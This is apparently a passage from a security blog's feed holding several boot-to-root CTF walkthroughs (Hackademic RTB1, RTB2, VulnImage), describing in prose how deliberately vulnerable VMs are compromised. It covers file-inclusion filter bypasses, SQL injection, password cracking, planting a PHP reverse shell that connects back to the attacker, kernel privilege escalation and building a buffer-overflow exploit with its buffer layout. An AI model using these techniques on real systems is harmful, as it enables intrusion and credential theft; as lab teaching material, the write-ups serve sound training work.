After bypassing the login system, the attacker is presented with the ‘members’ page, however the attacker isn’t using a ‘correct’ username, thus the requested information is invalid which is why the attacker is given an error message. This is an error message produced from the code that is being executed on the page. The attacker repeats the last request, but replaces the username with a known filename (the login page ‘index.php’). This request caused an error, however the error message produced is from the backend engine itself, PHP, saying that it wasn’t able to include the file (along with the filename requested). From this error message the attacker notices how the code has altered the request from the original:

Requested username: index.php

Processed username: index.php/index.php.php

The attacker wishes for only the first part to be processed by the code, instead of adding a “/” (to signal that its directory) along with the value again and adding “.php” at the end (as a file extension). The attacker can achieve their aim by adding “” afterwards which is a NULmeta character which signals it’s the end, thus the code does not process anything else afterwards. The attacker tries the updated request again, and is able to see that the login screen is included.

The attacker uses this vulnerability to collect as much as possible to help enumerate the system, for example, discovering which users have access into the system that could allow for the attacker to login the Web UI as a valid user. Upon requesting the standard ‘passwd’ file for a Linux operating system (which has been identified multiple times), the requested ‘username’ (aka filename) doesn’t match up to what was processed and produces an error message. It’s in the same format as the first one, which means there is some type of filtering being processed on the ‘username’ value that is being requested. After inspecting the filename in the error message the attacker notices, the only thing which is incorrect is ‘etc’ as it appears it’s been taken out. The attacker repeats the request again and duplicate ‘/etc/’ in the filename to see if that has an effect. The target responds and includes the file, giving the attacker a list of valid users on the system. This means the filtering system appears to search and replace ‘etc’ once with a blank value. Editor’s note: The users in the web service might not always match up to the system itself or vice versa as well as having a more complex filtering system!).

After analysing the passwd file, the attacker spots that two out of the three user’s shell paths isn’t ‘normal’. The shell path contains the location of the program which is executed automatically after the user is logged into the system.

The attacker goes back in burp, removes the PHPSESSID value as by doing so makes the next request appear as if they are someone who isn’t already logged in. At the same time the attacker uses a username which has a home directory in the passwd file and repeats the same procedure as before. This time, after being redirected to the members page, instead of an error being shown, the attacker sees a ‘control panel’ that displays the username & password for that user. The attacker repeats this method for the other users. Editor’s note: This could have been repeated in burp however I wanted to demonstrate the same method of spoofing the PHPSESSID in another program).

The attacker uses the credentials displayed from the Web UI’s control panel to attempt to log into the remote shell via SSH. The attacker was able to successfully login into the target’s machine using the same credentials, however they are in a “limited” shell, which has a restricted number of commands which are allowed to be executed. After checking to see which commands are allowed to be run, the attacker notices that “echo” is allowed. This bash command displays on standard output (this case the screen) any strings given to it. The attacker attempts to exploit this by crafting a bash command to execute a ‘standard’ shell to be displayed out. The limited shell processes the echo command causing a bash shell to be executed which isn’t restricted.

This isn’t enough for the attacker and they try to gain higher access over the system by escaping privileges further. A common method is by exploiting the kernel (this ONLY works if it is the ‘correct’ version!). The attacker finds the target’s kernel version, searches their local copy of a public exploit database “exploit-db” and discovers a potential exploit which matches the kernel version. The chosen exploit is a ‘generic’ one as it works across multiple kernel versions. After reading the exploit, it is required that the attacker downloads an additional ‘package’ (extra needed files made up the source code and an automated script). This is moved into their local web root folder and the necessary permission given to it, allowing every user to have ‘read’ access (as the web server is executed as a different user). When everything is in place, the attacker starts a web server.

By controlling the target remotely the attacker locates a directory (which they have permission write to and execute from). Once inside it they instruct the target to download the exploit code from the attacker. However the target fails to connect. The attacker starts exploring the system to see if they can understand the target’s environment better. They check the common start up scripts to see what is being executed at boot time, which would mean they would always be executed. The attacker notices an extra line in ‘/etc/rc.lcoal’ which points to a bash script. Editor’s note: rc.local is executed before the user is logged into the system - which fits very well for a boot-to-root! Inside the included bash script there is a reference to ‘IPTables’ which restores its settings from back up. After viewing the content of the backup file the attacker notices that port 80 is block, which is the default port, used for web servers, which is why they failed to transfer the exploit package across. Editor’s note: SSH could have been used to transfer files.

The attacker closes the web server, and starts up another one, which by default uses port 8000. The attacker updates their command to reflect the new port and this time the exploit package has been transferred.

Upon extraction of the package, the attacker opens the automated script to see how it functions. The attacker verifies the variables paths are valid for the target’s system. However they discover that the compiler needed for the source code isn’t located on the target. The attacker decides to use their machine to compile any required files. The attacker now manually processes the automated bash script, making sure they process it the same way as if it was being executed on the target’s machine. Editor’s note: I skipped out compiling two files as they weren’t needed in this instance. The attacker transfers the files which should of being compiled locally on the target, gives them the same permissions and then executes the exploit. This results in the attacker now having root access on the target’s machine.

Game over

When they explore root’s personal home folder, they notice a text file called “congrats.txt”. When the attacker opens it up they see that they have been notified that they have reached the end goal.

]]>2012-01-06T19:19:00+00:00https://blog.g0tmi1k.com/2012/01/hackademic-rtb2Hackademic is the second challenge in a series of ”boot-to-root” operating systems which has purposely designed weakness(es) built into it. The user’s end goal is to interact with system using the highest user privilege they can reach.

Walkthrough

To begin the attack the target needs to be located on the network. The attacker uses “Netdiscover” as it is able to quickly list all IP’s, MAC addresses and known vendors. As the attacker knows the target hasn’t spoofed their MAC address and are aware they are using VMware, the attacker has successfully identified the target due to only one VMware vendor being listed.

The attacker now focuses on the target by port scanning every TCP & UDP port. “UnicornScan” shows two open ports, TCP 80 (HTTP) & UDP 5353 (MDNS), which the attacker then verifies by using “nmap”. During nmap’s scan the attacker takes advantage of its scripting engine to detect which service is running on what port as well as to banner grab (which could possibly identify the software being used & its version). Depending on the outcome of the scan, nmap then executes any other script(s). In this instance the http methods was detected (which shows what options are supported by the HTTP server) along with the page’s title. Nmap also tries to fingerprint the operating system (Linux 2.6.17-2.6.36).

By inspecting the web service using “firefox” the attacker is able to see if any web application is running and how they can interact with it. The web server responds and presents them with a page that has a message from the target’s author and a login screen.

The attacker starts “Burp Proxy” and configures it along with firefox to allow burp to interpret & monitors the traffic between the attacker and the target. When the attacker enters an incorrect login, burp is able to capture the request and response allowing for the attacker to control and repeat using burp’s “repeater” function. The attacker then repeats the same incorrect login request to verify the setup and then again however alters the password to reflex ’standard/common’ values to bypass login screens. Editor’s note: As it turns out, there isn’t a backend database powering the login. The valid credentials have been hard coded into the source code (File: /var/www/welcome/check.php - Line: 17-20). Unless it’s exactly the same (including case and spaces), it will not work!

After bypassing the login screen, the attacker is able to see the hidden message. When analysing the message, the attacker believes that the string has been HEX encoded, however due to the “%” which separates each value, the attacker uses burp’s URL to decode the message. The output of the message still looks encoded to the attacker and repeats decoding the message, using burp’s HEX mode. The output produce is now (partly) ’readable’. The attacker remembered nmap reported one port as closed & due to the message repeating the phrase “knock”, they start to suspect that the rest of the encoded message relates to the technique called ’port knocking’. As the rest of the encoded message uses just ‘0’ & ‘1’ the attacker believes the message to be encoded in a binary format and attempts to decode it. The result produced looks familiar to the attacker and recognises some values as ‘html’, however due to the ‘formatting/markings’ burp is unable to decode it. The attacker takes the binary message and adds ‘&#’ before every binary block (8 values) and ’;’ at the end of them too. This signals to burp to interpret the format differently and burp handles the message as html code. Upon decoding, the attacker sees a group of four values, all less than 65535 as well as believing the message is unable to be decoded any more.

The attacker uses the web site, “paulschou.net”, to simplify the decoding process and is able to decode all the messages without having to alter the format at any stage to reach the same result.

The attacker scans the closed TCP port once more and by using “netcat” the attacker is able open to a port of their choice. They create a loop to connect to each of the ports which were decoded. Afterwards they repeat the same scan as before however this time they discover that the port response is open. Nmap reports that the service is HTTP, using ‘Apache httpd 2.2.14 (ubuntu)’, thus the same scripts are executed. http-robots has detected that there is a /robots.txt files located and reports which folders have been forbidden to be indexed by internet spiders.

Moving back to firefox, the attacker restores its proxy configuration as burp isn’t needed and tries to connect to the newly discovered web service on the non-default port and is presented with a Joomla 1.5 instance. Upon exploring the web application they try to alter requested URLs and soon discover an MySQL error.

“SQLMap” automates the procedure of database injection dramatically speeding up the attack. The attacker starts to emulate the back end database and discovers software versions, the operating system, current database, current user and if they are a database administrator. Afterwards the attacker discovers the password hash for the database administrator. Next the attacker starts to explore and view the contents of the Joomla database itself and as a result discovers the user credentials for the web application. The attacker continues using the SQL injection by viewing the configuration files for the system. They start off by locating their own local configuration files for their web service (which is in the same path as the target). Upon reading the target’s contents they soon learn the location of the web root for each web service running. Using this, the attacker is able to read the configuration file which is used to store the database credentials as Joomla needs to be able to interact with the MySQL database. The attacker uses the default filename for the Joomla’s configuring file and then views the contents to reveal the credentials in plain text.

“PHPMyAdmin” is a web based GUI interface to manage MySQL databases, which the attacker discovers is running on one of the web services. Using the credentials gathered from the configuration file, the attacker is able to login as the database administrator. The attacker crafts an SQL query to attempt to write a PHP file into the root web folder and then access it using firefox. The result being the attacker is able to write files and execute PHP commands.

To be able to remotely interactive with the target, the attacker chooses to use “PHP-pentest-monkey” shell. The attacker creates a clone copy to work on and edits the file with their IP address as the shell will be remotely connecting back to them (and the shell needs to know where the attacker is), altering the port as well as removing the start & end PHP statements as they will already be in place. Upon updating the file, the attacker encodes the shell using base64 via “msfvenom” as this will not affect the SQL statement which will be used to create the file. Before triggering the web shell, the attacker uses netcat again to listen on the same port used in the web shell. Once everything is in place, the attacker calls the web shell, causing the target to execute the PHP function to decode the backdoor, making a connection back to the attacker. This gives the attacker command line access to the target with the same permission as the web server.

The attacker wishes to gain deeper access into the system by escaping privileges. To do so one common method is by exploiting the kernel (this ONLY works if it is the ‘correct’ version!). The attacker finds the target’s kernel version, searches their local copy of a public exploit database “exploit-db” and discovers a potential exploit which matches the kernel version. The attacker checks that the exploit code doesn’t contain any ‘non-code’ at the top of the file as it would stop the file compiling (it is common with exploits to have ‘shout outs’ here), copies a version to their local web root folder and gives permission to the file to make sure every user has access to the file. After everything is ready the attacker then starts a web server.

Controlling the target the attacker is able to locate a folder which they have permission to write to and execute files from. Afterwards they instruct the target to download the exploit code from the attacker and compile it. Upon execution the attacker has now got root access on the target’s machine.

Game over

When they explore root’s personal home folder, they notice the “key” file. The attacker notices the text file extension and views the content, upon doing so; they see the message has been encoded. Due to the use of “=” at the end of the message, it is a common sign that base64 has been used. The attacker pastes the message back into burp and decodes it. Seeing the mention of “png”, hints the decoded value is an image file. After using the web site “opinionatedgeek.com”, to decode and download the file, the attacker checks the file signature. It appears to be a valid png file format and opens it up to reveal the ‘flag/proof’, indicating the end goal.

]]>2012-01-05T23:47:00+00:00https://blog.g0tmi1k.com/2012/01/hackademic-rtb1Hackademic is the first in a collection of ”boot-to-root” operating systems which has purposely designed weakness(es) built into it. The user’s end goal is to interact with it and get the highest user privilege they can.

Walkthrough

To start the attack, the target needs to be located. By using “NetDiscover” it is able to quickly list all IP’s, Media Access Control (MAC) addresses and known vendors in the same subnet. As the attacker knows that the target is using VMware and the target hasn’t spoofed their MAC address, they notice only one VMware vendor therefore they can successfully identify the target.

The attacker now concentrates on the target’s single IP address by port scanning every TCP and UDP port. “UnicornScan” reported one open port, TCP 80 (HTTP), which the attacker then verifies by using “nmap”. During the port scan the attacker uses nmap’s scripting engine to detect the service on the port (which is a web server) and banner grab (which possible enumerates software and it’s version). Depending on the outcome of the scan, nmap then executes other scripts. In this instance the http methods were detected (which shows what options are supported by an HTTP server) along with the page’s title. Nmap also tries to fingerprint the operating system (Linux 2.6.22-2.6.36).

By inspecting the web service the attacker is able to see if any web application is running and if they are able to interact with it. The web server responds when the attacker views the contents using “firefox”. They are then presented with a page that has a message from the target’s author forwarding them along to another page. Upon following the link, the attacker then views the blog. By viewing the page source code the attacker notices a possible web product that could be used to power the blog along with its version.

To confirm their findings the attacker installs and runs “wpscan”, which is a vulnerability scanner specifically designed for the blogging software, wordpress. This program will automate the process of identifying known vulnerabilities using various different techniques. WPScan confirms its wordpress and its version along with a known vulnerability.

The attacker searches a public exploit database, “exploit-db”, to see if they are able to find the exploit which was mentioned in wpscan. The database returned six exploits for wordpress. The attacker views the content of the first exploit code to discover how it functions. Editor’s note: When executing the exploit and targeting the target, the exploit didn’t work, same with the exploit reported by wpscan.

The attacker moves back to firefox and using the exploit code, manually tests for the same SQL injection vulnerability. Upon requesting the malformed URL with the injection code present, the attacker notices an SQL error message on the side, therefore confirming that the web application is vulnerable. The attacker then starts the process of SQL injection. To start off with the attacker needs to know the number of columns within the query that is to be injected into, which is done by increasing the value tested by 1 until they reach an error. Once the amount is known, they need to be able to locate the output of the SQL query on the page. Once this is done the attacker is able to start enumerating the back end database, by finding out the version, current user and current database in use. They are also able to read files locally (as long as the database service has permission to do so) on the server too, by encoding the filename into base64.

To speed up the SQL injection process, the attacker switches to “SQLMap” which automates a lot of the work. The attacker repeats what was done before manually now with sqlmap automatically to demonstrate how simpler the process now is. At the same time they collect hashed passwords to the database. The attacker continues by trying to view the web server configuration file(s). They start off by locating their local file, to see if it matches the targets and attempts to access it - which fails. They keep trying to access other possible default locations (source) until they are successful. After viewing the file the attacker now knows the local path of the root folder for the web server. From here the attacker wants to download the configuration file which is used for the blog software. As the blog needs to store the credentials to the database to be able to access it, the attacker tries the default filename for wordpress that contains the configuration. After sqlmap downloads the file, the attacker now has the credentials in plain-text to the MySQL database.

The attacker then uses the hash which was collected by SQLMap to validate the configuration file by using “John The Ripper” (which has to have the ‘jumbo’ patch (aka community - enhanced version) applied to support the MySQL hash format).

Now the attacker sets out to obtain the user credentials to the blog via the SQL injection. By viewing the wordpress documents, they are able to understand the Database Description. They discover there are 6 users registered and the fields used to store all their values. The attacker creates a simple loop to request each user’s username and password (which is stored in a hash format). Editor’s note: This could have been automated using SQLMap.

After the user’s password hashes have been saved the attacker starts to brute force their passwords using a wordlist. After all the values have been tested against the hashes the attacker now has five user’s passwords in plain-text. The attacker then checks the database to see each user’s permission in relation to the blog. However they soon discover the one password which wasn’t cracked is the administration password to the blog. They search the computer for another wordlist and attempt to see if that would crack the password - which it did. Editor’s note: If the attacker wasn’t able to crack the password, they could attempt to either alter another user to become an admin or create another admin account.

After navigating to the default location of the admin panel, the attacker is able to test out the acquired admin credentials. As a result the attacker now has full control over the blog software (as well as access to the database). The attacker notices that file uploads have been disabled. However instead of enabling them (as well as altering the allowed file types), the attacker opts to edit an un-used plugin instead. The justification of this is once the file has been edited, it’s automatically removed from the plugin list so it is less obvious than altered settings which the attacker believes the admin would notice before wanting to enable the plugin again. Also the attacker believes there is a higher chance the admin will check the upload folder rather than checking the files in the plugin folder to the plugin list. The attacker chooses the plugin “textile 1” to replace. Editor’s note: Instead of overwriting the file, it could be possible to amend the code at the end, leaving the existing functionality intact.

“php-reverse-shell” by pentest monkey is an interactive shell which is spawned when the PHP code is executed. The attacker copies the contents of the file and pastes it over the plugin. They then update the shell to have the attacker’s IP address and a different port. Upon saving the updated plugin with the modified web shell code, when the attacker checks the list of plugins, they discover it has been removed (which also means they are unable to edit the file any more). As the nature is a reverse connection, the attacker needs to have a listener waiting on the same port to catch the request from the web shell when the PHP function is called from the target. The attacker sets up “netcat” to be the listener and then triggers their plugin. The attacker is then able to interact with the target with a command line interface running as the same permission as the web server.

The attacker now tries to escape privileges in-which to gain higher level of access into the system. One common method is by exploiting the kernel (ONLY if it is vulnerable!). The attacker finds the current kernel version out and again searches their local copy exploit-db. The attacker discovers a potential exploit that could work with the kernel version. The attacker checks that the exploit code doesn’t contain any ‘non-code’ which would stop the file from compiling, then copies a version to their local web root folder, remove the ‘non-code’, gives permission to the file to make sure every user has access to the file and then starts a web server.

Controlling the target the attacker locates a folder which they have the permission to write to and execute files from. Upon entering such a path the attacker instructs the target to download the exploit code from the attacker and compile it. After executing the exploit the attacker has now got root access to the target. They then move to the root’s personal home folder to locate & view the “key” file which was mentioned in the message at the start of the attack.

Game over

Upon exploring the rest of the file system, the attacker also noticed other ‘sensitive’ data on the target’s machine. For example, bash commands which had been perversity been entered as root by another user earlier, as well as deleted files which were in the trash folder that hasn’t yet been removed.

]]>2011-12-17T21:12:00+00:00https://blog.g0tmi1k.com/2011/12/vulnimage-manual-methodVulnImage is an obscure (I can’t even find a ‘homepage’ as such for it!) ”boot-to-root” operating system which has purposely crafted weakness(es) inside itself. The user’s end goal is to interact with it and get the highest user privilege they can.

The ‘manual’ tag is due to the way the login system is bypassed as well as privilege escalation (via Linux exploit development, covering fuzzing to metasploit module). Another method is located here.

A Text Editor (e.g. Geany) – (Can be found in BackTrack 5’s repository).

Walkthrough

The first stage is to locate the target, which the attacker does by using “NetDiscover” as this quickly scans all the subnets for IP’s, Media Access Control (MAC) addresses and any known vendors that relate to their MAC address. The attacker knows that the target is using VMware, as there aren’t any other virtual machines in use and the target hasn’t spoofed their MAC address, therefore they have successfully identified the target.

The attacker then port scans the target as this discovers any services which are listening on the exposed interface. The attacker chooses to use “UnicornScan” as it is accurate & efficient whilst scanning at speed. The port scan shows there are 7 open TCP ports; 22 (SSH), 25 (SMTP), 80 (HTTP), 139 (NETBIOS), 445 (SAMBA), 3306 (MySQL) and 7777 (CBT). There is only 1 UDP port open, 137 (NETBIOS). The attacker then chooses to verify the TCP results by using “nmap” to do another port scan. At the same time, the attacker takes advantage of some other features built into nmap, such as its scripting engine. This enumerates the open port’s protocols and services which have been detected, as well as banner grabbing. The attacker chooses to interact with the web service which is running on the default TCP port 80. The justification for this is because it is a very graphical, friendly and common way in allowing the end user to interact, because of this there could be lots of information which could be enumerated as well as poorly written code which could be taken advantage of.

The attacker starts “DirBuster” to brute force directories and files on the web server by connecting to a list of common paths used on a web server and to then analyse the HTTP response codes. As this takes a while, it is left running in the background.

The web service responds normally when the attacker interacts with it using a web browser, for example “firefox”. The attacker then explores the web application structure by clicking through on links and soon sees the web service is running a blog, and, at the same time sees that two posts have been posted by the user, blogger. The attacker keeps on following links on the blog and soon is presented with a login page for user profiles. The first thing the attacker looks at is the page source code, which they notice has a hidden field called “fname” and a value of “sig.txt”, which appears to be a text document for signatures. Next they test the login system by entering data which wouldn’t be correct as this can be used to see if the login system is working as well as the error message(s) for an incorrect login. The attacker uses the possible username, ‘blogger’ and the password, ‘password’. The attacker then goes back and repeats the request, however; this time uses a different password to attempt to alter the login process. Editor’s note: Before recording the video, the attacker noticed that phpMyAdmin was running on the web server (due to DirBuster). This is a GUI to manage MySQL databases, which are commonly used to validate credentials. The attacker then replaces their password with a MySQL statement in which to modify (by ‘injecting’ their code) the MySQL statement which has been hardcoded on the server side. This “password” will cause the original MySQL statement to return true, therefore it will login as the chosen user without the correct password being present. Editor’s note: An explanation of the vulnerable code is below:

In the MySQL statement the ‘WHERE’ clause needs two parts to equal true due to the ‘AND’ operator. The username is known and valid but the password is not. The reason why the injected input works is due to the ‘OR’ operator as this allows another value that will always be true, as 1 will always equal 1. Now the statement will return true, therefore logging in as blogger. The ending of the injected code, comments out any possible remaining queries in the original statement (as it turns out there isn’t anything) plus there is no a need to fix the MySQL syntax.

To verify that the attacker managed to login without knowing the password, they quickly check the blog to see if the signature has been updated - which it has been. The attacker then wishes to take advantage of the blog’s system of using files to store signatures, however, they need to know the location of where they are stored. By altering the hidden “fname” in the page source code to an incorrect path, forcing an error to be produced, they hope that the error message will contain sensitive information relating to the location. As fname is stored on the client’s web page (not hidden when the server processes the page), the attacker is able to modify their local version which is sent back to the server. The attacker could use the firefox addon ”firebug” to alter the source code on-the-fly, thus when the page is sent back, it would have the modified variable. However the attacker chooses to use “Tamper Data” to intercept the traffic to modify the data before it is sent back. The reason why the attacker went with Tamper Data is because it is already included with the default install of backtrack 5 r1 (The addon has just been disabled).

‘Normal’

Attacker (Firefox) —> Target (Web server)

Attacker (Firefox) <— Target (Web server)

Attacker (Firefox) —> Target (Web server)

‘Intercepted’

Attacker (Firefox) —> Target (Web server)

Attacker (Firefox) <— Target (Web server)

Attacker (Firefox) —> Tamper Data —> Target (Web server)

By using tamper data, when the attacker submits the page, they are now able to edit the data which is sent in the POST request and takes advantage of this by editing the hidden text field “fname” to have an additional forward slash. Slashes are used to indicate folders, now when the blog tries to use the path, there isn’t a folder at the location, forcing an error. This produces a message informing the end user that the blog isn’t able to access the file or folder (which is due to the modified request), along with detailed paths such as the file which failed to access the location as well as the location which failed. The attacker copies the failed location and amends the path to view the content which should have been requested. The attacker now knows the location of a writeable folder which they have access to. The attacker goes back and tries to see if they are able to execute PHP functions by a simple command to just print a message on the screen. Upon submission they alter the fname field to reflect the file format is now PHP. After which the attacker tries to view the new file, by doing so they discover that they are now able to write PHP functions and the target executes it.

Pentest monkey has created “php-reverse-shell” which allows for an interactive shell to spawn by using PHP commands. The attacker makes a copy of it, making sure the original version isn’t edited. Due to the nature of the shell (as it is “reverse”) this means communication comes back to the attacker, thus the shell needs to be able to locate the attacker, which is done so by updating the “IP” and “port” field.

Before the attacker views the new signature which would trigger the shell to be executed, the attacker needs to set up a listener, which will capture the request from the target with an interactive shell. The attacker uses “netcat” to be the handler as it is a ‘swiss army knife’ on the same port used in the shell. The attacker then requests the php shell signature to be displayed. The target then executes the PHP commands causing a shell to be sent back to the attacker. The end result being the attacker is now able to execute commands locally on the target machine using an interactive shell.

The attacker starts checking the local user’s home folder, and discovers a C source code, for a program called ‘buffd’. After checking to see the running processes, the attacker notices not only the program is being executed, but also by the super-user, root. The current user which the attacker is logged in as (www-data), doesn’t have permission to view the file. However the attacker checks the results from DirBuster and notices that the web server also has a file with the same name, and downloads that copy instead. Upon viewing the contents of the source code, the attacker notices that the program uses port “7777”. The attacker checks locally on the target to see if TCP port 7777 is open, which it is, but is unable to confirm if the PID matches to the running process. At the same time looking at the source code, the attacker notices a vulnerable function - which is called “vulnerable”. Editor’s note: An explanation of the vulnerable code is below:

The function is vulnerable because of the buffer ‘local_buffer’, has been set to ‘120’, therefore when the argument ‘net_buffer’, is copied into the buffer anything greater than 120 will ‘overflow’ it. The extra bytes will run past the buffer and overwrite the space set aside for the frame pointer, return address etc. This causes the process stack to be corrupt which potentially alters the program’s execution path as the functions return address is the address of the next instruction in memory, which is immediately executed after the function returns. When using ‘strcpy’ it doesn’t check the bounds, so the solution would be to use ‘strncpy’.

The attacker checks the file type of the potential binary version of buffd, as well as the folder in which it is being executed from. The attacker notices the binary was compiled on Linux 2.6.8 as well as having a ‘core’ file in the same folder. The attacker knows that a core file is a ‘memory dump’ and is produced when a program crashes and is able to extract key information about how and why the program crashed (which is useful to know when creating an exploit as the attacker needs to understand what is happening).

The attacker then decides that they are going to attempt to create an exploit for the vulnerable program, buffd. They chose to develop the exploit locally on the target, as its the environment the exploit will be used in. The first thing the attacker does, is to disable any file and memory protection such as ‘Address Space Layout Randomization (ASLR)’ as it moves segments about, creating randomness in addresses thus making it harder to exploit applications. The attacker tries to disable ASLR, however they notice that the file ‘/proc/sys/kernel/randomize_va_space’, which is used to temporarily disable ASLR is missing. They then check the kernel version to see its 2.6.8 (which hints that the binary file could of been compiled locally and not imported) which by default doesn’t have ASRL (ASLR got added into the Linux kernel by default from 2.6.12 onwards), therefore the attacker doesn’t have to worry about ASLR. Editor’s note: I was unable to exploit buffd locally on the attackers machine.

As the buffd is being executed as the super-user, the current user (same as the web service they exploited) they are logged in as isn’t going to have permission to control the program. The attacker needs to escape privileges another way to gain a higher level of access in the system. One common method is by exploiting the kernel (ONLY if it is vulnerable!). The attacker searches their local copy of a public exploit database, “exploit-db.com”. Upon searching for the exact same kernel version, it only returned one known exploit (which was un-successful). The attacker carries on by searching for the same “major.intermediate” versions (removed “.minor”), and sorts them in ascending order. This returns results for kernel versions that are higher and lower than the target version as well as “generic” ones. The justification for this is that lots of exploits are available for a certain version and/or lower, the ones which are higher than the one used on the target could work. After searching the results, the attacker finds a suitable exploit that will potentially work. After viewing the exploit, it requires additional files to be downloaded. The attacker downloads the exploit package and moves it to their local root folder website path. They make sure the exploit is able to be read, by anyone by giving it certain permissions, as the web server uses a different user than the one which the attacker is currently logged in as and executing commands from. The web server is then started.

The attacker controls the target to download the exploit package from the attacker and then extracts it. The included bash script does all the necessary commands and the end result is that the attacker has now gained root access to the target. When the attacker discovered the running process and network connections, they saw that TCP port 22 was open (which by default is used for SSH) as well as the SSH daemon running; as a result they change the password to something which they know, allowing the attacker to login via SSH. The advantage of SSH is that it is a TTY shell to interact with the target as well as acting like a backdoor into the system, so they don’t have to exploit the target again.

After login into the box again the attacker prepares the target’s environment by removing the old core file (Editor’s note: This is actually a mistake that will be explained later), allowing unlimited sized core files to be produced as well as killing all instances of the program. The attacker then executes buffd.

The attacker then connects back into the target using the backdoor. If the program ”screen” was installed locally on the target, then this wouldn’t be needed as the attacker would only need one terminal to work in. In the new window, the attacker watches the local folder that buffd is being executed in, as this will notify the attacker if something happens in the folder.

The attacker then remotely starts to interact with the target’s buffd. By using netcat the attacker is able to see how the program would normally function. Then by piping commands into netcat they are able to automate the procedure which speeds up development time. The attacker then checks to see the status of the target and buffd. The program itself gives notification of connection and that they have not had any changes to the folder. The attacker carries on by using python to script the automated input to buffd. They start off using 10 “A”s, then move onto 100, then 1000. At this stage the “watch” window has notified that there has been a change. When the attacker views the output, they spot that a core file has been created thus the attacker has caused the program to crash! The attacker goes back and sends a further 10 “A”s to the target, and it appears to response normally, meaning only a thread crashed, not the complete program. Editor’s note: It is good practice to restart the program each time it crashes - just in case something ‘more’ crashed.

1234

buffer#1:<A*10>buffer#2:<A*100>buffer#3:<A*1000>buffer#4:<A*10>

The attacker connects back into the target, this time this window is used to debug the core file that was produced. This allows the attacker to see the state the registers were in when the core file was created. Upon inspection the attacker notices the EIP has been overwritten with 41 (which is HEX for the ASCII A, which matches the data being sent). This means the attacker controls EIP, which results in the attacker being able to control the ‘flow’ of the program!

The next stage is to see which part of the buffer that was sent to the target has overwritten the EIP address. The attacker uses metasploit’s aid to locate this address, as ‘pattern_create.rb’ creates a unique random string for the given length. As the program crashed when the attacker sent 1000 “A”s the attacker uses the same number again. This time, instead of sending the same thing over and over again, the attacker uses metasploit’s output. When this is sent to the target, this also causes the program to create another core file, hinting that it’s crashed again, however this time, EIP is different. The attacker copies the EIP value and passes it back into metasloit, this time using the other half of the script, ‘pattern_offset.rb’. As the string is unique, metasploit is able to calculate the exact part of the buffer which caused EIP to be over written, which is 124. This can be verified as the attacker has the potential source code to the program (the buffer was set to 120). The attacker then verifies metasploit’s result by sending 124 “A”s, then the next 4 “B”s, and calculates the remaining values to be “C”s, which means if everything is correct, when the attacker causes the program to crash again, the only 4 “B”s will be in the EIP address.
buffer #5: <A * 124>< B * 4> <C * 872>

Another feature of metasploit is its ability to produce shellcode from its payloads. This is the code that the attacker wants the vulnerable code to execute. The attacker chooses to use a bind shell, which opens a port locally and allows for remote communication to execute commands. When creating the shellcode, the attacker chooses not to use ‘00’ or ‘ff’ as when it is being injected into a process it could have an effect on the existing running code, for example, ‘00 ’ terminate strcpy(), which is the vulnerable function in buffd. Editor’s note: I will do another guide explaining how to find bad characters at a later date. The attacker then prepares the buffer by adding NOPs in after the second part of the buffer, the Bs. Editor’s note: The amount, 26 was chosen at random. A NOP or ‘No Operation’ command effectively doesn’t do anything. The reason why NOPs are used is to create a ‘NOP slide’ (sometimes referred to a ‘NOP sled’) and is used to ‘pad’ when the exact position in memory can’t be determined with absolute accuracy. It doesn’t matter if the pointer is set to the start or the middle of the NOP slide, it will still perform the same, thus making the exploit more universal in different environments as memory addresses can be different. The attacker then adds in 4 Cs, which are used for debugging purposes as they signal the position in memory. Afterwards the attacker places the shellcode from metasploit and along with some more NOPs. As the original buffer was 1000 bytes, the buffer always needs to equal 1000, and the remaining amount is set to Cs to help with debugging the buffer. The attacker then sends the new buffer to cause the program to crash, creating a core file once more.
buffer #6: <A * 124>< B * 4><NOP * 26><C * 4><SHELLCODE * 105><NOP * 40><C * 697>

The attacker uses the debugger “GDB”, to see the values that are set at the various registers. By viewing the first 200 bytes at the EAX register, the attacker is able to see the start of the buffer which they sent to the target, as it contains As. Then it’s the EIP address which contains 4 Bs, then the NOP sled, then the debugging Cs that indicates the next stage is the shellcode, which takes up the rest of the view. By viewing the ESP register, we can see it’s pointing into the NOP sled which will result in executing the shellcode, therefore by replacing the Bs with the address in ESP, the program should execute the injected shellcode. After the shellcode is the rest of the padding to cause the buffer to equal 1000 bytes.
buffer #7: <A * 124>< B * 4><NOP * 30> <SHELLCODE * 105><NOP * 737>

The buffer gets updated to remove the debug Cs thus extended to the NOPs. The attacker restarts buffd and does a test to verify the progress so far. After examining the core file, the attacker copies the EIP address to replace the Bs in the buffer. Before sending the final buffer to the target, the attacker restarts the program, closes all connections to the target and checks that the bind port is currently closed. Once the attacker sends the buffer to the target, the response hangs this time. The attacker then repeats connecting to the bind port, and this time the attacker is able to execute commands. As soon as the connection on the bind shell is closed, the buffd program also finishes.
buffer #8: <A * 124><EIP * 4><NOP * 30> <SHELLCODE * 105><NOP * 737>

The attacker then restarts the target’s machine as the attacker has affected multiple aspects of the environment, and would like to make sure the exploit works in a normal clean setup. As the target’s machine is starting up again, the attacker takes the time to create a metasploit module. Some advantages of using the metasploit framework is its built in handler, as well as automatically updating the exploit, for example, the attacker is able now to customize the shellcode (the payload) which is executed on the client, without having to update the padding to reflect the difference in shellcode size. Once the module has been created, the attacker starts up metasploit, selects the new exploit and fills in the target’s details. This time, the attacker uses a different payload, as originally it was a bind connection, however they now test out the module by using a reserve connection. The attacker now tries the original buffer re-created in metasploit, however it fails.

The attacker now connects back via SSH, enables core files to be created once more and restarts the buffd service this time instead of executing the program directly. The attacker sends the original python buffer to the target before the “B”s were replaced, which caused buffd to crash. Upon looking at the EIP in the core file, the attacker sees the value this time is different. The attacker updates the metasploit module to reflect the changes and reloads the exploit in the framework. The attacker tries again to send the exploit using metasploit, this time they are presented with a shell.

*See ‘vulnimage.rb’ for the source code*

Game over

The attacker then restores the targets machine, back to its original state and starts it up. After exploiting the complete system again, the attacker is able to gain access to the original core file - which was deleted the first time. After opening the core file in the debugger, the attacker is able to update the exploit to reflex the EIP register. Therefore the attacker has a permanent backdoor into this target’s virtual machine. Editor’s note: I didn’t originally plan to explain the video to include creating a metasploit module, which is why the core file wasn’t needed, therefore it wasn’t moved into a safe location for use later… Lesson learnt: Move files, don’t delete them ;)

]]>2011-12-14T21:17:00+00:00https://blog.g0tmi1k.com/2011/12/vulnimage-automated-methodVulnImage is an obscure (I can’t even find a ‘homepage’ as such for it!) ”boot-to-root” operating system which has purposely crafted weakness(es) inside itself. The user’s end goal is to interact with it and get the highest user privilege they can.

